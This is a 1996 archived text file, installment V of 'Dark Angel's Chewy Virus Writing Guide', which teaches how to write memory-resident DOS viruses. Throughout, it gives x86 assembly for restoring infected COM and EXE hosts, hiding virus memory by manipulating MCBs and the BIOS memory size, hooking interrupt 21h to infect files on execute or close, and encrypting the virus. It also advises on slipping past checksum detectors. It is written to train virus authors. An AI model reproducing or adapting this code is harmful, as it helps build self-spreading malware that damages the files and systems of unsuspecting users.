home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / virus / virusprogramming / ps-vir5.txt < prev    next >
Encoding:
Text File  |  1996-04-16  |  19.2 KB  |  442 lines

  1.       //==//  //  //  /||      //      //====  //==//  //|   //
  2.      //  //  //  //  //||     //      //      //  //  //||  //
  3.     //==//  //==//  //=||    //      //      //  //  // || //
  4.    //      //  //  //  ||   //      //      //  //  //  ||//
  5.   //      //  //  //   ||  //====  //====  //==//  //   ||/
  6.   
  7.      /====   // //     //  /====   /|   /|
  8.     //      // //     //  //      //|  //|
  9.     ===\   // //     //   ===\   //|| //||
  10.       //  //  \\    //      //  // ||// ||
  11.   ====/  //    \\  //   ====/  //  ||/  ||
  12.   
  13.   ─────────────────────────────────────────
  14.   DISCLAIMER: Why do I bother writing one??
  15.   ─────────────────────────────────────────
  16.   MO STUFF: Greets to all the Phalcon/Skism
  17.     crew,especially Garbageheap,Hellraiser,
  18.     Demogorgon,Lazarus Long,and Decimator.
  19.   ─────────────────────────────────────────
  20.   
  21.   Dark Angel's Chewy Virus Writing Guide
  22.   ──── ─────── ───── ───── ─────── ─────
  23.     "Over 2 billion served"
  24.   
  25.   ────────────────────────────────────────
  26.   INSTALLMENT V: RESIDENT VIRUSES, PART II
  27.   ────────────────────────────────────────
  28.   
  29.   After reading  the the  Clumpy Guide, you should have at least some idea of
  30.   how to  code a  resident virus.  However, the somewhat vague descriptions I
  31.   gave may  have left  you in a befuddled state.  Hopefully, this installment
  32.   will clear the air.
  33.   
  34.   ─────────
  35.   STRUCTURE
  36.   ─────────
  37.   In case  you missed  it the last time, here is a quick, general overview of
  38.   the structure  of the  resident virus.   The  virus consists  of two  major
  39.   portions, the  loading stub  and the  interrupt handlers.  The loading stub
  40.   performs two  functions.  First, it redirects interrupts to the virus code.
  41.   Second, it causes the virus to go resident.  The interrupt handlers contain
  42.   the code  which  cause  file  infection.    Generally,  the  handlers  trap
  43.   interrupt 21h and intercept such calls as file execution.
  44.   
  45.   ────────────
  46.   LOADING STUB
  47.   ────────────
  48.   The loading  stub consists of two major portions, the residency routine and
  49.   the restoration  routine.   The latter portion, which handles the return of
  50.   control to  the original  file, is  identical as the one in the nonresident
  51.   virus.  I will briefly touch upon it here.
  52.   
  53.   By now  you  should  understand  thoroughly  the  theory  behind  COM  file
  54.   infection.   By simply  replacing the  first few  bytes,  transfer  can  be
  55.   controlled to  the virus.   The  trick in  restoring COM files is simply to
  56.   restore the  overwritten  bytes  at  the  beginning  of  the  file.    This
  57.   restoration takes place only in memory and is therefore far from permanent.
  58.   Since COM files always load in a single memory segment and begin loading at
  59.   offset 100h  in the  memory  segment  (to  make  room  for  the  PSP),  the
  60.   restoration procedure  is very  simple.   For example,  if the  first three
  61.   bytes of  a COM  file were  stored in a buffer called "first3" before being
  62.   overwritten by the virus, then the following code would restore the code in
  63.   memory:
  64.   
  65.     mov  di,100h          ; Absolute location of destination
  66.     lea  si,[bp+first3]   ; Load address of saved bytes.
  67.                           ; Assume bp = "delta offset"
  68.     movsw                 ; Assume CS = DS = ES and a cleared direction flag
  69.     movsb                 ; Move three bytes
  70.   
  71.   The problem of returning control to the program still remains.  This simply
  72.   consists of  forcing the  program to  transfer control to offset 100h.  The
  73.   easiest routine follows:
  74.   
  75.     mov  di,100h
  76.     jmp  di
  77.   
  78.   There are  numerous variations of this routine, but they all accomplish the
  79.   basic task of setting the ip to 100h.
  80.   
  81.   You should  also understand  the concept  behind EXE infection by now.  EXE
  82.   infection, at  its most  basic level, consists of changing certain bytes in
  83.   the EXE  header.   The trick  is simply  to undo  all the changes which the
  84.   virus made.  The code follows:
  85.   
  86.     mov     ax, es                          ; ES = segment of PSP
  87.     add     ax, 10h                         ; Loading starts after PSP
  88.     add     word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
  89.                                             ; relative to end of PSP
  90.     cli
  91.     add     ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
  92.     mov     ss, ax
  93.     mov     sp, word ptr cs:[bp+OrigSSSP]
  94.     sti
  95.     db      0eah                            ; JMP FAR PTR SEG:OFF
  96.   OrigCSIP  dd ?                            ; Put values from the header
  97.   OrigSSSP  dd ?                            ; into here
  98.   
  99.   If the  virus is  an EXE-specific  infector but you still wish to use a COM
  100.   file as  the carrier file, then simply set the OrigCSIP value to FFF0:0000.
  101.   This will  be changed  by the  restoration routine  to PSP:0000  which  is,
  102.   conveniently, an int 20h instruction.
  103.   
  104.   All that  stuff should  not be  new.   Now we shall tread on new territory.
  105.   There are  two methods  of residency.  The first is the weenie method which
  106.   simply consists of using DOS interrupts to do the job for you.  This method
  107.   sucks because  it is  1) easily  trappable by  even the  most primitive  of
  108.   resident virus  monitors and  2) forces the program to terminate execution,
  109.   thereby alerting  the user  to the  presence of the virus.  I will not even
  110.   present code  for the  weenie method  because, as  the name suggests, it is
  111.   only for  weenies.   Real programmers  write their  own residency routines.
  112.   This basically consists of MCB-manipulation.  The general method is:
  113.   
  114.   1.   Check for prior installation.  If already installed, exit the virus.
  115.   2.   Find the top of memory.
  116.   3.   Allocate the high memory.
  117.   4.   Copy the virus to high memory.
  118.   5.   Swap the interrupt vectors.
  119.   
  120.   There are  several variations  on this technique and they will be discussed
  121.   as the need arises.
  122.   
  123.   ──────────────────
  124.   INSTALLATION CHECK
  125.   ──────────────────
  126.   There are  several different  types of installation check.  The most common
  127.   is a  call to int 21h with AX set to a certain value.  If certain registers
  128.   are returned  set to  certain values,  then the  virus is  resident.    For
  129.   example, a sample residency check would be:
  130.   
  131.     mov  ax,9999h  ; residency check
  132.     int  21h
  133.     cmp  bx,9999h  ; returns bx=9999h if installed
  134.     jz   already_installed
  135.   
  136.   When choosing  a value  for ax in the installation check, make sure it does
  137.   not conflict  with an  existing function  unless the  function is harmless.
  138.   For example,  do not  use display  string (ah=9)  unless you  wish to  have
  139.   unpredictable results  when the virus is first being installed.  An example
  140.   of a harmless function is get DOS version (ah=30h) or flush keyboard buffer
  141.   (ah=0bh).   Of course, if the check conflicts with a current function, make
  142.   sure it  is narrow  enough so no programs will have a problem with it.  For
  143.   example, do  not merely trap ah=30h, but trap ax=3030h or even ax=3030h and
  144.   bx=3030h.
  145.   
  146.   Another  method  of  checking  for  residency  is  to  search  for  certain
  147.   characteristics of  the virus.   For  example, if  the virus always sets an
  148.   unused interrupt  vector to  point to  its code, a possible residency check
  149.   would be to search the vector for the virus characteristics.  For example:
  150.   
  151.     xor  ax,ax
  152.     mov  ds,ax     ; ds->interrupt table
  153.     les  bx,ds:[60h*4] ; get address of interrupt 60h
  154.                    ; assume the virus traps this and puts its int 21h handler
  155.                    ; here
  156.     cmp  es:bx,0FF2Eh ; search for the virus string
  157.      .
  158.      .
  159.      .
  160.   int60:
  161.     jmp far ptr cs:origint21
  162.   
  163.   When using this method, take care to ensure that there is no possibility of
  164.   this characteristic  being false when the virus is resident.  In this case,
  165.   another program must not trap the int 60h vector or else the check may fail
  166.   even if  the virus  is  already  resident,  thereby  causing  unpredictable
  167.   results.
  168.   
  169.   ──────────────────────
  170.   FIND THE TOP OF MEMORY
  171.   ──────────────────────
  172.   DOS generally  loads all available memory to a program upon loading.  Armed
  173.   with this  knowledge, the  virus can  easily determine the available memory
  174.   size.  Once again, the MCB structure is:
  175.   
  176.   Offset    Size Meaning
  177.   ------ ------- -------
  178.   0         BYTE 'M' or 'Z'
  179.   1         WORD Process ID (PSP of block's owner)
  180.   3         WORD Size in paragraphs
  181.   5      3 BYTES Reserved (Unused)
  182.   8      8 BYTES DOS 4+ uses this.  Yay.
  183.   
  184.     mov  ax,ds     ; Assume DS initially equals the segment of the PSP
  185.     dec  ax
  186.     mov  ds,ax     ; DS = MCB of infected program
  187.     mov  bx,ds:[3] ; Get MCB size (total available paragraphs to program)
  188.   
  189.   A simpler  method of  performing the same action is to use DOS's reallocate
  190.   memory function in the following manner:
  191.   
  192.     mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
  193.     mov  bx,0FFFFh ; Request a ridiculous amount of memory
  194.     int  21h       ; Returns maximum available memory in BX
  195.                    ; This is the same value as in ds:[3]
  196.   
  197.   ────────────────────────
  198.   ALLOCATE THE HIGH MEMORY
  199.   ────────────────────────
  200.   The easiest method to allocate memory is to let DOS do the work for you.
  201.   
  202.     mov  ah,4ah    ; Alter memory allocation (assume ES = PSP)
  203.     sub  bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
  204.                    ; memory available to the program (returned by earlier
  205.                    ; call to int 21h/function 4ah
  206.     int  21h
  207.   
  208.     mov  ah,48h    ; Allocate memory
  209.     mov  bx,(endvirus-startvirus+15)/16
  210.     int  21h
  211.     mov  es,ax     ; es now holds the high memory segment
  212.   
  213.     dec  bx
  214.     mov  byte ptr ds:[0], 'Z' ; probably not needed
  215.     mov  word ptr ds:[1], 8   ; Mark DOS as owner of MCB
  216.   
  217.   The purpose  of marking  DOS as  the owner  of the  MCB is  to prevent  the
  218.   deallocation of the memory area upon termination of the carrier program.
  219.   
  220.   Of course, some may prefer direct manipulation of the MCBs.  This is easily
  221.   accomplished.   If ds is equal to the segment of the carrier program's MCB,
  222.   then the following code will do the trick:
  223.   
  224.     ; Step 1) Shrink the carrier program's memory allocation
  225.     ; One paragraph is added for the MCB of the memory area which the virus
  226.     ; will inhabit
  227.     sub  ds:[3],(endvirus-startvirus+15)/16 + 1
  228.   
  229.     ; Step 2) Mark the carrier program's MCB as the last in the chain
  230.     ; This isn't really necessary, but it assures that the virus will not
  231.     ; corrupt the memory chains
  232.     mov  byte ptr ds:[0],'Z'
  233.   
  234.     ; Step 3) Alter the program's top of memory field in the PSP
  235.     ; This preserves compatibility with COMMAND.COM and any other program
  236.     ; which uses the field to determine the top of memory
  237.     sub  word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1
  238.   
  239.     ; Step 4) Calculate the first usable segment
  240.     mov  bx,ds:[3] ; Get MCB size
  241.     stc            ; Add one for the MCB segment
  242.     adc  bx,ax     ; Assume AX still equals the MCB of the carrier file
  243.                    ; BX now holds first usable segment.  Build the MCB
  244.                    ; there
  245.     ; Alternatively, you can use the value in ds:[12h] as the first usable
  246.     ; segment:
  247.     ; mov  bx,ds:[12h]
  248.   
  249.     ; Step 5) Build the MCB
  250.     mov  ds,bx     ; ds holds the area to build the MCB
  251.     inc  bx        ; es now holds the segment of the memory area controlled
  252.     mov  es,bx     ; by the MCB
  253.     mov  byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
  254.                    ; Note: you can have more than one MCB chain
  255.     mov  word ptr ds:[1],8   ; Mark DOS as the owner
  256.     mov  word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field
  257.   
  258.   There is yet another method involving direct manipulation.
  259.   
  260.     ; Step 1) Shrink the carrier program's memory allocation
  261.     ; Note that rounding is to the nearest 1024 bytes and there is no
  262.     ; addition for an MCB
  263.     sub  ds:[3],((endvirus-startvirus+1023)/1024)*64
  264.   
  265.     ; Step 2) Mark the carrier program's MCB as the last in the chain
  266.     mov  byte ptr ds:[1],'Z'
  267.   
  268.     ; Step 3) Alter the program's top of memory field in the PSP
  269.     sub  word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64
  270.   
  271.     ; Step 4) Calculate the first usable segment
  272.     mov  es,word ptr ds:[12h]
  273.   
  274.     ; Step 5) Shrink the total memory as held in BIOS
  275.     ; Memory location 0:413h holds the total system memory in K
  276.     xor  ax,ax
  277.     mov  ds,ax
  278.     sub  ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size
  279.   
  280.   This method  is great  because it  is simple and short.  No MCB needs to be
  281.   created because  DOS will no longer allocate memory held by the virus.  The
  282.   modification of the field in the BIOS memory area guarantees this.
  283.   
  284.   ─────────────────────────────
  285.   COPY THE VIRUS TO HIGH MEMORY
  286.   ─────────────────────────────
  287.   This is  ridiculously easy  to do.  If ES holds the high memory segment, DS
  288.   holds CS, and BP holds the delta offset, then the following code will do:
  289.   
  290.     lea  si,[bp+offset startvirus]
  291.     xor  di,di     ; destination @ 0
  292.     mov  cx,(endvirus-startvirus)/2
  293.     rep  movsw     ; Copy away, use words for speed
  294.   
  295.   ──────────────────────
  296.   SWAP INTERRUPT VECTORS
  297.   ──────────────────────
  298.   There are,  once again,  two ways  to do this; via DOS or directly.  Almost
  299.   every programmer  worth his  salt has  played with interrupt vectors at one
  300.   time or another.  Via DOS:
  301.   
  302.     push es        ; es->high memory
  303.     pop  ds        ; ds->high memory
  304.     mov  ax,3521h  ; get old int 21h handler
  305.     int  21h       ; to es:bx
  306.     mov  word ptr ds:oldint21,bx  ; save it
  307.     mov  word ptr ds:oldint21+2,es
  308.     mov  dx,offset int21 ; ds:dx->new int 21h handler in virus
  309.     mov  ax,2521h  ; set handler
  310.     int  21h
  311.   
  312.   And direct manipulation:
  313.     xor  ax,ax
  314.     mov  ds,ax
  315.     lds  bx,ds:[21h*4]
  316.     mov  word ptr es:oldint21,bx
  317.     mov  word ptr es:oldint21+2,ds
  318.     mov  ds,ax
  319.     mov  ds:[21h*4],offset int21
  320.     mov  ds:[21h*4+2],es
  321.   
  322.   Delta offset  calculations  are  not  needed  since  the  location  of  the
  323.   variables is  known.   This is because the virus is always loaded into high
  324.   memory starting in offset 0.
  325.   
  326.   ─────────────────
  327.   INTERRUPT HANDLER
  328.   ─────────────────
  329.   The interrupt  handler intercepts  function calls  to DOS and waylays them.
  330.   The interrupt  handler typically  begins with  a check  for a  call to  the
  331.   installation check.  For example:
  332.   
  333.   int21:
  334.     cmp  ax,9999h  ; installation check?
  335.     jnz  not_installation_check
  336.     xchg ax,bx     ; return bx = 9999h if installed
  337.     iret           ; exit interrupt handler
  338.   not_installation_check:
  339.   ; rest of interrupt handler goes here
  340.   
  341.   With this  out of  the way,  the virus  can trap whichever DOS functions it
  342.   wishes.    Generally  the  most  effective  function  to  trap  is  execute
  343.   (ax=4b00h), as  the most commonly executed files will be infected.  Another
  344.   function to  trap, albeit  requiring more work, is handle close.  This will
  345.   infect  on   copies,  viewings,  patchings,  etc.    With  some  functions,
  346.   prechaining is  desired; others,  postchaining.   Use common sense.  If the
  347.   function destroys  the filename  pointer, then  use prechaining.    If  the
  348.   function   needs   to  be   completed  before  infection  can  take  place,
  349.   postchaining should be used.  Prechaining is simple:
  350.   
  351.     pushf           ; simulate an int 21h call
  352.     call dword ptr cs:oldint21
  353.   
  354.   ; The following code ensures that the flags will be properly set upon
  355.   ; return to the caller
  356.     pushf
  357.     push bp
  358.     push ax
  359.   
  360.   ; flags         [bp+10]
  361.   ; calling CS:IP [bp+6]
  362.   ; flags new     [bp+4]
  363.   ; bp            [bp+2]
  364.   ; ax            [bp]
  365.   
  366.     mov  bp, sp     ; setup stack frame
  367.     mov  ax, [bp+4] ; get new flags
  368.     mov  [bp+10], ax; replace the old with the new
  369.   
  370.     pop  ax         ; restore stack
  371.     pop  bp
  372.     popf
  373.   
  374.   To exit  the interrupt  handler after  prechaining, use  an iret  statement
  375.   rather than a retn or retf.  Postchaining is even simpler:
  376.   
  377.     jmp  dword ptr cs:oldint21 ; this never returns to the virus int handler
  378.   
  379.   When leaving  the interrupt  handler, make  sure  that  the  stack  is  not
  380.   unbalanced and  that the  registers were  not altered.   Save the registers
  381.   right after prechaining and long before postchaining.
  382.   
  383.   Infection in  a resident  virus is  essentially  the  same  as  that  in  a
  384.   nonresident virus.   The  only difference occurs when the interrupt handler
  385.   traps one  of the functions used in the infection routine.  For example, if
  386.   handle close is trapped, then the infection routine must replace the handle
  387.   close int 21h call with a call to the original interrupt 21h handler, a la:
  388.   
  389.     pushf
  390.     call dword ptr cs:oldint21
  391.   
  392.   It is also necessary to handle encryption in another manner with a resident
  393.   virus.  In the nonresident virus, it was not necessary to preserve the code
  394.   at all  times.   However, it  is desirable to keep the interrupt handler(s)
  395.   decrypted, even  when infecting.   Therefore,  the virus  should  keep  two
  396.   copies of  itself in  memory, one  as code  and one as data.  The encryptor
  397.   should encrypt  the secondary  copy  of  the  virus,  thereby  leaving  the
  398.   interrupt handler(s)  alone.   This is  especially important  if the  virus
  399.   traps other interrupts such as int 9h or int 13h.
  400.   
  401.   ────────────────────────────
  402.   A THEORY ON RESIDENT VIRUSES
  403.   ────────────────────────────
  404.   Resident viruses  can typically  be divided  into two  categories; slow and
  405.   fast infectors.  They each have their own advantages and disadvantages.
  406.   
  407.   Slow infectors  do not  infect except in the case of a file creation.  This
  408.   infector traps file creates and infects upon the closing of the file.  This
  409.   type of  virus infects  on new  file creations  and copying  of files.  The
  410.   disadvantage is  that the  virus spreads slowly.  This disadvantage is also
  411.   an advantage,  as this  may keep  it undetected  for a long time.  Although
  412.   slow infectors sound ineffective, in reality they can work well.  Infection
  413.   on file  creations means that checksum/CRC virus detectors won't be able to
  414.   checksum/CRC the  file until  after it  has been  infected.   Additionally,
  415.   files are  often copied  from one  directory to  another after testing.  So
  416.   this method can work.
  417.   
  418.   Fast infectors  infect on  executes.   This type  of virus will immediately
  419.   attack commonly  used files,  ensuring the continual residency of the virus
  420.   in subsequent  boots.   This is  the primary  advantage, but it is also the
  421.   primary disadvantage.   The  infector works  so rapidly  that the  user may
  422.   quickly detect  a discrepancy with the system, especially if the virus does
  423.   not utilise any stealth techniques.
  424.   
  425.   Of course,  there is  no  "better"  way.    It  is  a  matter  of  personal
  426.   preference.   The vast  majority  of  viruses  today  are  fast  infectors,
  427.   although slow infectors are beginning to appear with greater frequency.
  428.   
  429.   If the  virus is  to infect  on a  create or  open, it  first must copy the
  430.   filename to  a buffer,  execute the  call, and  save the handle.  The virus
  431.   must then  wait for  a handle close corresponding to that handle and infect
  432.   using the  filename stored  in the  buffer.  This is the simplest method of
  433.   infecting after a handle close without delving into DOS internals.
  434.   
  435.   ──────────────────────────────
  436.   IF YOU DON'T UNDERSTAND IT YET
  437.   ──────────────────────────────
  438.   don't despair;  it will  come after  some time and much practise.  You will
  439.   soon find  that resident  viruses  are  easier  to  code  than  nonresident
  440.   viruses.   That's all  for this  installment, but  be sure to grab the next
  441.   one.
  442.